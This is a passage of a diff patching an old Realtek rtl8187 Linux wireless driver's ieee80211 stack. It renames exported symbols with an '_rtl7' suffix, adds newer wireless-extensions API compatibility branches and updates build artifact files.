IW_POWER_TIMEOUT) { - + ieee->ps_timeout = wrqu->power.value / 1000; printk("Timeout %d\n",ieee->ps_timeout); } - + if (wrqu->power.flags & IW_POWER_PERIOD) { - + ret = -EOPNOTSUPP; goto exit; //wrq->value / 1024; - + } exit: up(&ieee->wx_sem); @@ -509,15 +538,15 @@ } /* this is stolen from hostap */ -int ieee80211_wx_get_power(struct ieee80211_device *ieee, +int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { int ret =0; - + down(&ieee->wx_sem); - - if(ieee->ps == IEEE80211_PS_DISABLED){ + + if(ieee->ps == IEEE80211_PS_DISABLED){ wrqu->power.disabled = 1; goto exit; } @@ -547,19 +576,19 @@ } -EXPORT_SYMBOL(ieee80211_wx_get_essid); -EXPORT_SYMBOL(ieee80211_wx_set_essid); -EXPORT_SYMBOL(ieee80211_wx_set_rate); -EXPORT_SYMBOL(ieee80211_wx_get_rate); -EXPORT_SYMBOL(ieee80211_wx_set_wap); -EXPORT_SYMBOL(ieee80211_wx_get_wap); -EXPORT_SYMBOL(ieee80211_wx_set_mode); -EXPORT_SYMBOL(ieee80211_wx_get_mode); -EXPORT_SYMBOL(ieee80211_wx_set_scan); -EXPORT_SYMBOL(ieee80211_wx_get_freq); -EXPORT_SYMBOL(ieee80211_wx_set_freq); -EXPORT_SYMBOL(ieee80211_wx_set_rawtx); -EXPORT_SYMBOL(ieee80211_wx_get_name); -EXPORT_SYMBOL(ieee80211_wx_set_power); -EXPORT_SYMBOL(ieee80211_wx_get_power); -EXPORT_SYMBOL(ieee80211_wlan_frequencies); +EXPORT_SYMBOL(ieee80211_wx_get_essid_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_essid_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_rate_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_rate_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_wap_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_wap_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_mode_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_mode_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_scan_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_freq_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_freq_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_rawtx_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_name_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_power_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_power_rtl7); +EXPORT_SYMBOL(ieee80211_wlan_frequencies_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_tx.c rtl8187_linux_26.1010.0622.2006.modified/ieee80211/ieee80211_tx.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_tx.c 2006-06-05 19:57:54.000000000 -0700 +++ rtl8187_linux_26.1010.0622.2006.modified/ieee80211/ieee80211_tx.c 2010-05-19 22:21:50.072722993 -0700 @@ -24,15 +24,14 @@ ****************************************************************************** - Few modifications for Realtek's Wi-Fi drivers by + Few modifications for Realtek's Wi-Fi drivers by Andrea Merello - - A special thanks goes to Realtek for their support ! + + A special thanks goes to Realtek for their support ! ******************************************************************************/ #include -#include #include #include #include @@ -52,6 +51,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +//#include +#endif + #include "ieee80211.h" @@ -155,7 +160,7 @@ static u8 P802_1H_OUI[P80211_OUI_LEN] = { 0x00, 0x00, 0xf8 }; static u8 RFC1042_OUI[P80211_OUI_LEN] = { 0x00, 0x00, 0x00 }; -static inline int ieee80211_put_snap(u8 *data, u16 h_proto) +static inline int ieee80211_put_snap_rtl7(u8 *data, u16 h_proto) { struct ieee80211_snap_hdr *snap; u8 *oui; @@ -178,7 +183,7 @@ return SNAP_SIZE + sizeof(u16); } -int ieee80211_encrypt_fragment( +int ieee80211_encrypt_fragment_rtl7( struct ieee80211_device *ieee, struct sk_buff *frag, int hdr_len) @@ -225,7 +230,7 @@ } -void ieee80211_txb_free(struct ieee80211_txb *txb) { +void ieee80211_txb_free_rtl7(struct ieee80211_txb *txb) { int i; if (unlikely(!txb)) return; @@ -235,7 +240,7 @@ kfree(txb); } -struct ieee80211_txb *ieee80211_alloc_txb(int nr_frags, int txb_size, +struct ieee80211_txb *ieee80211_alloc_txb_rtl7(int nr_frags, int txb_size, int gfp_mask) { struct ieee80211_txb *txb; @@ -267,7 +272,7 @@ } /* SKBs are added to the ieee->tx_queue. */ -int ieee80211_xmit(struct sk_buff *skb, +int ieee80211_xmit_rtl7(struct sk_buff *skb, struct net_device *dev) { struct ieee80211_device *ieee = netdev_priv(dev); @@ -299,27 +304,27 @@ } if(likely(ieee->raw_tx == 0)){ - + if (unlikely(skb->len < SNAP_SIZE + sizeof(u16))) { printk(KERN_WARNING "%s: skb too small (%d).\n", ieee->dev->name, skb->len); goto success; } - - + + ether_type = ntohs(((struct ethhdr *)skb->data)->h_proto); - + crypt = ieee->crypt[ieee->tx_keyidx]; - + encrypt = !(ether_type == ETH_P_PAE && ieee->ieee802_1x) && ieee->host_encrypt && crypt && crypt->ops; - + if (!encrypt && ieee->ieee802_1x && ieee->drop_unencrypted && ether_type != ETH_P_PAE) { stats->tx_dropped++; goto success; } - + #ifdef CONFIG_IEEE80211_DEBUG if (crypt && !encrypt && ether_type == ETH_P_PAE) { struct eapol *eap = (struct eapol *)(skb->data + @@ -328,23 +333,23 @@ eap_get_type(eap->type)); } #endif - + /* Save source and destination addresses */ memcpy(&dest, skb->data, ETH_ALEN); memcpy(&src, skb->data+ETH_ALEN, ETH_ALEN); - + /* Advance the SKB to the start of the payload */ skb_pull(skb, sizeof(struct ethhdr)); - + /* Determine total amount of storage required for TXB packets */ bytes = skb->len + SNAP_SIZE + sizeof(u16); - + if (encrypt) fc = IEEE80211_FTYPE_DATA | IEEE80211_STYPE_DATA | IEEE80211_FCTL_WEP; else fc = IEEE80211_FTYPE_DATA | IEEE80211_STYPE_DATA; - + if (ieee->iw_mode == IW_MODE_INFRA) { fc |= IEEE80211_FCTL_TODS; /* To DS: Addr1 = BSSID, Addr2 = SA, @@ -360,9 +365,9 @@ memcpy(&header.addr3, ieee->current_network.bssid, ETH_ALEN); } header.frame_ctl = cpu_to_le16(fc); - + hdr_len = IEEE80211_3ADDR_LEN; - + /* Determine fragmentation size based on destination (multicast * and broadcast are not fragmented) */ if (is_multicast_ether_addr(dest) || @@ -370,7 +375,7 @@ frag_size = MAX_FRAG_THRESHOLD; else frag_size = ieee->fts; - + /* Determine amount of payload per fragment. Regardless of if * this stack is providing the full 802.11 header, one will * eventually be affixed to this fragment -- so we must account for @@ -379,12 +384,12 @@ if (ieee->config & (CFG_IEEE80211_COMPUTE_FCS | CFG_IEEE80211_RESERVE_FCS)) bytes_per_frag -= IEEE80211_FCS_LEN; - + /* Each fragment may need to have room for encryptiong pre/postfix */ if (encrypt) bytes_per_frag -= crypt->ops->extra_prefix_len + crypt->ops->extra_postfix_len; - + /* Number of fragments is the total bytes_per_frag / * payload_per_fragment */ nr_frags = bytes / bytes_per_frag; @@ -393,11 +398,11 @@ nr_frags++; else bytes_last_frag = bytes_per_frag; - + /* When we allocate the TXB we allocate enough space for the reserve * and full fragment bytes (bytes_per_frag doesn't include prefix, * postfix, header, FCS, etc.) */ - txb = ieee80211_alloc_txb(nr_frags, frag_size, GFP_ATOMIC); + txb = ieee80211_alloc_txb_rtl7(nr_frags, frag_size, GFP_ATOMIC); if (unlikely(!txb)) { printk(KERN_WARNING "%s: Could not allocate TXB\n", ieee->dev->name); @@ -405,93 +410,94 @@ } txb->encrypted = encrypt; txb->payload_size = bytes; - + for (i = 0; i < nr_frags; i++) { skb_frag = txb->fragments[i]; - + if (encrypt) skb_reserve(skb_frag, crypt->ops->extra_prefix_len); - + frag_hdr = (struct ieee80211_hdr *)skb_put(skb_frag, hdr_len); memcpy(frag_hdr, &header, hdr_len); - + /* If this is not the last fragment, then add the MOREFRAGS * bit to the frame control */ if (i != nr_frags - 1) { frag_hdr->frame_ctl = cpu_to_le16( fc | IEEE80211_FCTL_MOREFRAGS); bytes = bytes_per_frag; - + } else { /* The last fragment takes the remaining length */ bytes = bytes_last_frag; } - + frag_hdr->seq_ctl = cpu_to_le16(ieee->seq_ctrl<<4 | i); - - + + /* Put a SNAP header on the first fragment */ if (i == 0) { - ieee80211_put_snap( + ieee80211_put_snap_rtl7( skb_put(skb_frag, SNAP_SIZE + sizeof(u16)), ether_type); bytes -= SNAP_SIZE + sizeof(u16); } - + memcpy(skb_put(skb_frag, bytes), skb->data, bytes); - + /* Advance the SKB... */ skb_pull(skb, bytes); - + /* Encryption routine will move the header forward in order * to insert the IV between the header and the payload */ if (encrypt) - ieee80211_encrypt_fragment(ieee, skb_frag, hdr_len); + ieee80211_encrypt_fragment_rtl7(ieee, skb_frag, hdr_len); if (ieee->config & (CFG_IEEE80211_COMPUTE_FCS | CFG_IEEE80211_RESERVE_FCS)) skb_put(skb_frag, 4); } - // Advance sequence number in data frame. + // Advance sequence number in data frame. if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; //--- }else{ - if (unlikely(skb->len < sizeof(struct ieee80211_hdr_3addr))) { +// if (unlikely(skb->len < sizeof(struct ieee80211_hdr_3addr))) { + if (unlikely(skb->len < 14)) { printk(KERN_WARNING "%s: skb too small (%d).\n", ieee->dev->name, skb->len); goto success; } - - txb = ieee80211_alloc_txb(1, skb->len, GFP_ATOMIC); + + txb = ieee80211_alloc_txb_rtl7(1, skb->len, GFP_ATOMIC); if(!txb){ printk(KERN_WARNING "%s: Could not allocate TXB\n", ieee->dev->name); goto failed; } - + txb->encrypted = 0; txb->payload_size = skb->len; memcpy(skb_put(txb->fragments[0],skb->len), skb->data, skb->len); - } + } success: spin_unlock_irqrestore(&ieee->lock, flags); dev_kfree_skb_any(skb); if (txb) { if (ieee->softmac_features & IEEE_SOFTMAC_TX_QUEUE){ - ieee80211_softmac_xmit(txb, ieee); + ieee80211_softmac_xmit_rtl7(txb, ieee); }else{ if ((*ieee->hard_start_xmit)(txb, dev) == 0) { stats->tx_packets++; stats->tx_bytes += txb->payload_size; return 0; } - ieee80211_txb_free(txb); + ieee80211_txb_free_rtl7(txb); } - - + + } return 0; @@ -504,4 +510,5 @@ } -EXPORT_SYMBOL(ieee80211_txb_free); +EXPORT_SYMBOL(ieee80211_txb_free_rtl7); +EXPORT_SYMBOL(ieee80211_xmit_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_wx.c rtl8187_linux_26.1010.0622.2006.modified/ieee80211/ieee80211_wx.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_wx.c 2006-06-05 19:57:56.000000000 -0700 +++ rtl8187_linux_26.1010.0622.2006.modified/ieee80211/ieee80211_wx.c 2010-05-19 22:18:51.982705602 -0700 @@ -40,8 +40,9 @@ }; #define MAX_CUSTOM_LEN 64 -static inline char *ipw2100_translate_scan(struct ieee80211_device *ieee, - char *start, char *stop, +static inline char *ipw2100_translate_scan_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, + char *start, char *stop, struct ieee80211_network *network) { char custom[MAX_CUSTOM_LEN]; @@ -54,7 +55,11 @@ iwe.cmd = SIOCGIWAP; iwe.u.ap_addr.sa_family = ARPHRD_ETHER; memcpy(iwe.u.ap_addr.sa_data, network->bssid, ETH_ALEN); +#if WIRELESS_EXT >= 22 + start = iwe_stream_add_event(info, start, stop, &iwe, IW_EV_ADDR_LEN); +#else start = iwe_stream_add_event(start, stop, &iwe, IW_EV_ADDR_LEN); +#endif /* Remaining entries will be displayed in the order we provide them */ @@ -63,16 +68,28 @@ iwe.u.data.flags = 1; if (network->flags & NETWORK_EMPTY_ESSID) { iwe.u.data.length = sizeof(""); +#if WIRELESS_EXT >= 22 + start = iwe_stream_add_point(info, start, stop, &iwe, ""); +#else start = iwe_stream_add_point(start, stop, &iwe, ""); +#endif } else { iwe.u.data.length = min(network->ssid_len, (u8)32); +#if WIRELESS_EXT >= 22 + start = iwe_stream_add_point(info, start, stop, &iwe, network->ssid); +#else start = iwe_stream_add_point(start, stop, &iwe, network->ssid); +#endif } /* Add the protocol name */ iwe.cmd = SIOCGIWNAME; snprintf(iwe.u.name, IFNAMSIZ, "IEEE 802.11%s", ieee80211_modes[network->mode]); +#if WIRELESS_EXT >= 22 + start = iwe_stream_add_event(info, start, stop, &iwe, IW_EV_CHAR_LEN); +#else start = iwe_stream_add_event(start, stop, &iwe, IW_EV_CHAR_LEN); +#endif /* Add mode */ iwe.cmd = SIOCGIWMODE; @@ -83,8 +100,13 @@ else iwe.u.mode = IW_MODE_ADHOC; +#if WIRELESS_EXT >= 22 + start = iwe_stream_add_event(info, start, stop, &iwe, + IW_EV_UINT_LEN); +#else start = iwe_stream_add_event(start, stop, &iwe, IW_EV_UINT_LEN); +#endif } /* Add frequency/channel */ @@ -94,7 +116,11 @@ iwe.u.freq.m = network->channel; iwe.u.freq.e = 0; iwe.u.freq.i = 0; +#if WIRELESS_EXT >= 22 + start = iwe_stream_add_event(info, start, stop, &iwe, IW_EV_FREQ_LEN); +#else start = iwe_stream_add_event(start, stop, &iwe, IW_EV_FREQ_LEN); +#endif /* Add encryption capability */ iwe.cmd = SIOCGIWENCODE; @@ -103,7 +129,11 @@ else iwe.u.data.flags = IW_ENCODE_DISABLED; iwe.u.data.length = 0; +#if WIRELESS_EXT >= 22 + start = iwe_stream_add_point(info, start, stop, &iwe, network->ssid); +#else start = iwe_stream_add_point(start, stop, &iwe, network->ssid); +#endif /* Add basic and extended rates */ max_rate = 0; @@ -132,13 +162,22 @@ iwe.cmd = SIOCGIWRATE; iwe.u.bitrate.fixed = iwe.u.bitrate.disabled = 0; iwe.u.bitrate.value = max_rate * 500000; +#if WIRELESS_EXT >= 22 + start = iwe_stream_add_event(info, start, stop, &iwe, + IW_EV_PARAM_LEN); +#else start = iwe_stream_add_event(start, stop, &iwe, IW_EV_PARAM_LEN); +#endif iwe.cmd = IWEVCUSTOM; iwe.u.data.length = p - custom; if (iwe.u.data.length) +#if WIRELESS_EXT >= 22 + start = iwe_stream_add_point(info, start, stop, &iwe, custom); +#else start = iwe_stream_add_point(start, stop, &iwe, custom); +#endif /* Add quality statistics */ /* TODO: Fix these values... */ @@ -154,14 +193,22 @@ if (!(network->stats.mask & IEEE80211_STATMASK_SIGNAL)) iwe.u.qual.updated |= IW_QUAL_QUAL_INVALID; +#if WIRELESS_EXT >= 22 + start = iwe_stream_add_event(info, start, stop, &iwe, IW_EV_QUAL_LEN); +#else start = iwe_stream_add_event(start, stop, &iwe, IW_EV_QUAL_LEN); +#endif iwe.cmd = IWEVCUSTOM; p = custom; iwe.u.data.length = p - custom; if (iwe.u.data.length) +#if WIRELESS_EXT >= 22 + start = iwe_stream_add_point(info, start, stop, &iwe, custom); +#else start = iwe_stream_add_point(start, stop, &iwe, custom); +#endif if (ieee->wpa_enabled && network->wpa_ie_len){ char buf[MAX_WPA_IE_LEN * 2 + 30]; @@ -175,7 +222,12 @@ memset(&iwe, 0, sizeof(iwe)); iwe.cmd = IWEVCUSTOM; iwe.u.data.length = strlen(buf); +#if WIRELESS_EXT >= 22 + start = iwe_stream_add_point(info, start, stop, &iwe, buf); +#else start = iwe_stream_add_point(start, stop, &iwe, buf); +#endif + } if (ieee->wpa_enabled && network->rsn_ie_len){ @@ -190,7 +242,11 @@ memset(&iwe, 0, sizeof(iwe)); iwe.cmd = IWEVCUSTOM; iwe.u.data.length = strlen(buf); +#if WIRELESS_EXT >= 22 + start = iwe_stream_add_point(info, start, stop, &iwe, buf); +#else start = iwe_stream_add_point(start, stop, &iwe, buf); +#endif } /* Add EXTRA: Age to display seconds since last beacon/probe response @@ -201,13 +257,17 @@ " Last beacon: %lums ago", (jiffies - network->last_scanned) / (HZ / 100)); iwe.u.data.length = p - custom; if (iwe.u.data.length) +#if WIRELESS_EXT >= 22 + start = iwe_stream_add_point(info, start, stop, &iwe, custom); +#else start = iwe_stream_add_point(start, stop, &iwe, custom); +#endif return start; } -int ieee80211_wx_get_scan(struct ieee80211_device *ieee, +int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { @@ -220,13 +280,15 @@ IEEE80211_DEBUG_WX("Getting scan\n"); down(&ieee->wx_sem); + printk("GOT WX GET SCAN WX_SEM LOCK"); spin_lock_irqsave(&ieee->lock, flags); list_for_each_entry(network, &ieee->network_list, list) { i++; if (ieee->scan_age == 0 || time_after(network->last_scanned + ieee->scan_age, jiffies)) - ev = ipw2100_translate_scan(ieee, ev, stop, network); + ev = ipw2100_translate_scan_rtl7(ieee, info, ev, +stop, network); else IEEE80211_DEBUG_SCAN( "Not showing network '%s (" @@ -247,7 +309,7 @@ return 0; } -int ieee80211_wx_set_encode(struct ieee80211_device *ieee, +int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *keybuf) { @@ -259,6 +321,9 @@ int i, key, key_provided, len; struct ieee80211_crypt_data **crypt; + if (erq->flags & IW_ENCODE_RESTRICTED) + return -EINVAL; + IEEE80211_DEBUG_WX("SET_ENCODE\n"); key = erq->flags & IW_ENCODE_INDEX; @@ -281,7 +346,7 @@ if (key_provided && *crypt) { IEEE80211_DEBUG_WX("Disabling encryption on key %d.\n", key); - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); } else IEEE80211_DEBUG_WX("Disabling encryption.\n"); @@ -291,7 +356,7 @@ if (ieee->crypt[i] != NULL) { if (key_provided) break; - ieee80211_crypt_delayed_deinit( + ieee80211_crypt_delayed_deinit_rtl7( ieee, &ieee->crypt[i]); } } @@ -314,7 +379,7 @@ strcmp((*crypt)->ops->name, "WEP") != 0) { /* changing to use WEP; deinit previously used algorithm * on this key */ - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); } if (*crypt == NULL) { @@ -326,10 +391,10 @@ if (new_crypt == NULL) return -ENOMEM; memset(new_crypt, 0, sizeof(struct ieee80211_crypt_data)); - new_crypt->ops = ieee80211_get_crypto_ops("WEP"); + new_crypt->ops = ieee80211_get_crypto_ops_rtl7("WEP"); if (!new_crypt->ops) { - request_module("ieee80211_crypt_wep"); - new_crypt->ops = ieee80211_get_crypto_ops("WEP"); + request_module("ieee80211_crypt_wep_rtl"); + new_crypt->ops = ieee80211_get_crypto_ops_rtl7("WEP"); } if (new_crypt->ops && try_module_get(new_crypt->ops->owner)) @@ -340,7 +405,7 @@ new_crypt = NULL; printk(KERN_WARNING "%s: could not initialize WEP: " - "load module ieee80211_crypt_wep\n", + "load module ieee80211_crypt_wep_rtl\n", dev->name); return -EOPNOTSUPP; } @@ -418,7 +483,7 @@ return 0; } -int ieee80211_wx_get_encode(struct ieee80211_device *ieee, +int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *keybuf) { @@ -430,7 +495,7 @@ if(ieee->iw_mode == IW_MODE_MONITOR) return -1; - + key = erq->flags & IW_ENCODE_INDEX; if (key) { if (key > WEP_KEYS) @@ -470,6 +535,6 @@ } -EXPORT_SYMBOL(ieee80211_wx_get_scan); -EXPORT_SYMBOL(ieee80211_wx_set_encode); -EXPORT_SYMBOL(ieee80211_wx_get_encode); +EXPORT_SYMBOL(ieee80211_wx_get_scan_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_encode_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_encode_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/Makefile rtl8187_linux_26.1010.0622.2006.modified/ieee80211/Makefile --- rtl8187_linux_26.1010.0622.2006/ieee80211/Makefile 2006-06-05 19:57:54.000000000 -0700 +++ rtl8187_linux_26.1010.0622.2006.modified/ieee80211/Makefile 2010-05-19 22:18:51.986075533 -0700 @@ -17,6 +17,7 @@ KVER := $(shell uname -r) KSRC := /lib/modules/$(KVER)/build INSTALL_PREFIX := +PWD = $(shell pwd) all: modules diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/modules.order rtl8187_linux_26.1010.0622.2006.modified/ieee80211/modules.order --- rtl8187_linux_26.1010.0622.2006/ieee80211/modules.order 1969-12-31 16:00:00.000000000 -0800 +++ rtl8187_linux_26.1010.0622.2006.modified/ieee80211/modules.order 2010-05-19 22:23:55.968503440 -0700 @@ -0,0 +1,5 @@ +kernel//home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl.ko +kernel//home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt-rtl.ko +kernel//home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt_wep-rtl.ko +kernel//home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt_tkip-rtl.ko +kernel//home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt_ccmp-rtl.ko diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/Modules.symvers rtl8187_linux_26.1010.0622.2006.modified/ieee80211/Modules.symvers --- rtl8187_linux_26.1010.0622.2006/ieee80211/Modules.symvers 2006-06-05 19:57:56.000000000 -0700 +++ rtl8187_linux_26.1010.0622.2006.modified/ieee80211/Modules.symvers 1969-12-31 16:00:00.000000000 -0800 @@ -1,43 +0,0 @@ -0x232e7944 ieee80211_wlan_frequencies /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xaeae102f free_ieee80211_rtl /usr/rtl8187_linux_2.6_05312006/ieee80211/ieee80211-rtl -0x279e265f ieee80211_crypt_deinit_handler net/ieee80211/ieee80211_crypt -0xc2411d91 ieee80211_stop_queue /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x6ece20e1 ieee80211_wx_get_name_rtl /usr/rtl8187_linux_2.6_05312006/ieee80211/ieee80211-rtl -0x5d3847ff ieee80211_rx_rtl /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x18612027 ieee80211_wx_get_scan_rtl /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xa0e03ce1 ieee80211_wx_get_name /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xee25f349 ieee80211_wx_get_mode /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x86013c3d ieee80211_wx_set_mode /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x04493cc0 ieee80211_wx_get_rate /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x6c6df3b4 ieee80211_wx_set_rate /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x82caec02 ieee80211_crypt_deinit_entries net/ieee80211/ieee80211_crypt -0x347945bf ieee80211_wx_get_power /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x6379d455 ieee80211_wx_set_power /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xae62ed59 ieee80211_wx_set_scan /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x6621e172 ieee80211_wx_set_freq /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x0e052e06 ieee80211_wx_get_freq /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x283f9f5d ieee80211_unregister_crypto_ops net/ieee80211/ieee80211_crypt -0x9da79aac ieee80211_is_shortslot /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x666032dc ieee80211_wx_get_wap /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x9f1cbe0e ieee80211_wx_set_wap /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x73d1d341 ieee80211_wx_set_rawtx /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x2c714184 ieee80211_is_54g /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x6892d598 ieee80211_wpa_supplicant_ioctl /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xc062f1f5 ieee80211_ps_tx_ack /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x55534906 ieee80211_get_beacon /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xe2679638 ieee80211_crypt_delayed_deinit net/ieee80211/ieee80211_crypt -0x3a0456bc free_ieee80211 net/ieee80211/ieee80211 -0x7e1ef2c8 ieee80211_wake_queue /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xc1b81e9f ieee80211_register_crypto_ops net/ieee80211/ieee80211_crypt -0x3f795a39 alloc_ieee80211 net/ieee80211/ieee80211 -0x89803c23 ieee80211_get_crypto_ops net/ieee80211/ieee80211_crypt -0xc6caf2a4 ieee80211_txb_free net/ieee80211/ieee80211 -0x49c1422c ieee80211_rx_mgt net/ieee80211/ieee80211 -0xbf2b4ebd alloc_ieee80211_rtl /usr/rtl8187_linux_2.6_05312006/ieee80211/ieee80211-rtl -0xd155f7b8 ieee80211_softmac_stop_protocol /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x9ce2dcde ieee80211_softmac_start_protocol /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x00d74bba ieee80211_wx_get_encode_rtl /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x92b5d996 ieee80211_wx_set_encode_rtl /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x2ac9bf95 ieee80211_wx_set_essid /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x7dc92e7f ieee80211_wx_get_essid /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xd04740ca ieee80211_reset_queue /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/Module.symvers rtl8187_linux_26.1010.0622.2006.modified/ieee80211/Module.symvers --- rtl8187_linux_26.1010.0622.2006/ieee80211/Module.symvers 1969-12-31 16:00:00.000000000 -0800 +++ rtl8187_linux_26.1010.0622.2006.modified/ieee80211/Module.symvers 2010-05-19 22:24:10.342666003 -0700 @@ -0,0 +1,41 @@ +0x00000000 ieee80211_softmac_start_protocol_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 free_ieee80211_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_wx_get_name_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_wx_get_mode_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_wx_set_mode_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_wx_get_rate_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_wx_set_rate_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_wx_get_scan_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_wx_set_scan_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_wx_set_freq_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_wx_get_freq_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_register_crypto_ops_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt-rtl EXPORT_SYMBOL +0x00000000 ieee80211_ps_tx_ack_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_rx_mgt_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_unregister_crypto_ops_rtl7 